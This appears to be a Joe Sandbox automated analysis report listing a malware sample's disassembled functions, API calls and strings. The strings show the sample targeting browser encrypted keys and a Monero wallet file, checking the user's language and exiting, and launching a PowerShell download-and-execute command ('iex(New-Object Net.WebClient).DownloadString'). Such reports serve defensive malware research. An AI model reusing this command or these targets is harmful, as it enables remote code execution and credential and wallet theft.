Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 12acbb8a459df6714081e024c08958abd4a452508b8efd0dda6b6b6954ed80fa
Instruction ID: 9b9c945c52562c82122f7831f94ad11bd6af6bdf54fcdc87e6820f822d38cb43
Opcode Fuzzy Hash: 12acbb8a459df6714081e024c08958abd4a452508b8efd0dda6b6b6954ed80fa
Instruction Fuzzy Hash: E2C186B590021DAFCB14EFA0DC8DFEA7B78BB94304F00459DF50A67241EA74AA85CF95

Function 005C4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005C8E0B

lstrcat.KERNEL32(?,00000000), ref: 005C42EC
lstrcat.KERNEL32(?,00C7F4F0), ref: 005C430B
lstrcat.KERNEL32(?,?), ref: 005C431F
lstrcat.KERNEL32(?,00C7E4B0), ref: 005C4333

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005C8D90: GetFileAttributesA.KERNEL32(00000000,?,005B1B54,?,?,005D564C,?,?,005D0E1F), ref: 005C8D9F

Part of subcall function 005B9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005B9D39

Part of subcall function 005B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005B99EC
Part of subcall function 005B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005B9A11
Part of subcall function 005B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005B9A31
Part of subcall function 005B99C0: ReadFile.KERNEL32(000000FF,?,00000000,005B148F,00000000), ref: 005B9A5A
Part of subcall function 005B99C0: LocalFree.KERNEL32(005B148F), ref: 005B9A90
Part of subcall function 005B99C0: CloseHandle.KERNEL32(000000FF), ref: 005B9A9A

Part of subcall function 005C93C0: GlobalAlloc.KERNEL32(00000000,005C43DD,005C43DD), ref: 005C93D3

StrStrA.SHLWAPI(?,00C7F3A0), ref: 005C43F3
GlobalFree.KERNEL32(?), ref: 005C4512

Part of subcall function 005B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N[,00000000,00000000), ref: 005B9AEF
Part of subcall function 005B9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,005B4EEE,00000000,?), ref: 005B9B01
Part of subcall function 005B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N[,00000000,00000000), ref: 005B9B2A
Part of subcall function 005B9AC0: LocalFree.KERNEL32(?,?,?,?,005B4EEE,00000000,?), ref: 005B9B3F

lstrcat.KERNEL32(?,00000000), ref: 005C44A3
StrCmpCA.SHLWAPI(?,005D08D1), ref: 005C44C0
lstrcat.KERNEL32(00000000,00000000), ref: 005C44D2
lstrcat.KERNEL32(00000000,?), ref: 005C44E5
lstrcat.KERNEL32(00000000,005D0FB8), ref: 005C44F4

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 396865046def3c227f4651f13171eb2020ddcf9821283bb342d0d24d36962955
Instruction ID: 055c8cac8b52ce343e34615b9b8d0e8308ae227ab17ce0589047d98c59842d64
Opcode Fuzzy Hash: 396865046def3c227f4651f13171eb2020ddcf9821283bb342d0d24d36962955
Instruction Fuzzy Hash: C97147B5910209BBDB14EBE0DC99FED7B79BB88300F008598F60997181EA75EB45CF91

Function 005C6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 005C6774
ExitProcess.KERNEL32 ref: 005C67A5
ExitProcess.KERNEL32 ref: 005C67AF
ExitProcess.KERNEL32 ref: 005C67B9
ExitProcess.KERNEL32 ref: 005C67C3
ExitProcess.KERNEL32 ref: 005C67CD

Strings

*, xrefs: 005C678C

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: ccdb676a461b7f04fe09dc76333407510661bc45150facf7f9e3bcf9bdde0687
Instruction ID: 4904593129d9efcc46ddc38b6b89e821dca1439acedda39a48bf80bbb004c665
Opcode Fuzzy Hash: ccdb676a461b7f04fe09dc76333407510661bc45150facf7f9e3bcf9bdde0687
Instruction Fuzzy Hash: 90F03A7090420AFFD344AFE0A909F3C7BB0FB05702F048198E60986290D6785B41DBEA

Function 005C92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:\,80000000,00000003,00000000,00000003,00000080,00000000,?,005C3AEE,?), ref: 005C92FC
GetFileSizeEx.KERNEL32(000000FF,:\), ref: 005C9319
CloseHandle.KERNEL32(000000FF), ref: 005C9327

Strings

:\, xrefs: 005C92F8, 005C92FB
:\, xrefs: 005C9311, 005C933D, 005C9314

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :\$:\
API String ID: 1378416451-280902274
Opcode ID: 302dd071f04f88fc2ad778ea37043ef488fa1173b4af1a743f2dbe311123bcf7
Instruction ID: e424464e7266c5f2bb9f591bc1c18ca3f924d6645af2e8755cae336289f90f07
Opcode Fuzzy Hash: 302dd071f04f88fc2ad778ea37043ef488fa1173b4af1a743f2dbe311123bcf7
Instruction Fuzzy Hash: 21F069B4E00208BBDB10DBE0DC48FAE7BB9FB48710F10CA58A615AB2C0D674A6018F54

Function 005C2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

ShellExecuteEx.SHELL32(0000003C), ref: 005C2D85

Strings

<, xrefs: 005C2D39
')", xrefs: 005C2CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 005C2D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 005C2CC4

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 002e8a3aef5b441d501f4346919a6f06e362fd46160975ec4987ddfb7495c841
Instruction ID: 8eab9bfb02be778af7e975e274e1fd8357ea78f36d1111538feacda9f634e2fe
Opcode Fuzzy Hash: 002e8a3aef5b441d501f4346919a6f06e362fd46160975ec4987ddfb7495c841
Instruction Fuzzy Hash: 7C41947181020D9FDB14EBE0D89AFEDBF78BF54304F40411DA116AA192EF746A4ACF96

Function 005B9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 005B9F41

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Strings

@, xrefs: 005B9EF1
v20, xrefs: 005B9E21
ERROR_RUN_EXTRACTOR, xrefs: 005B9E67
v10, xrefs: 005B9EA3

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: d727ea64c84817426a90f6f48f9514bd59b5047ca1f0752ac8bd482c83d756c5
Instruction ID: 55829dc30206144f9feb81d32d3b9ef1442eee80c521707ab25264d1be840fe1
Opcode Fuzzy Hash: d727ea64c84817426a90f6f48f9514bd59b5047ca1f0752ac8bd482c83d756c5
Instruction Fuzzy Hash: DF61EB71A1024DAFDB24EFA4CC99FED7BB5BF84304F408518F90A5B191EB746A05CB52

Function 005C9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00C7F0B8,?,?,?,005C140C,?,00C7F0B8,00000000), ref: 005C926C
lstrcpyn.KERNEL32(007FAB88,00C7F0B8,00C7F0B8,?,005C140C,?,00C7F0B8), ref: 005C9290
lstrlen.KERNEL32(?,?,005C140C,?,00C7F0B8), ref: 005C92A7
wsprintfA.USER32 ref: 005C92C7

Strings

%s%s, xrefs: 005C92B5

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 5b7e57098473ba62e029f7c829d20aab493bdabcf4418a894e1726dc2fd9d48e
Instruction ID: a1667cd6dbc7f4753a9c7ec076a0bb19691b9f38edde8118231f6f863948f784
Opcode Fuzzy Hash: 5b7e57098473ba62e029f7c829d20aab493bdabcf4418a894e1726dc2fd9d48e
Instruction Fuzzy Hash: 3F01A5B5500108FFCB04DFECC988EAE7BB9FB48354F108558F9099B344C679AA41DBA5

Function 005CC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 005CC8EC
___crtLCMapStringA.LIBCMT ref: 005CC90C
___crtLCMapStringA.LIBCMT ref: 005CC931

Strings

, xrefs: 005CC896

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
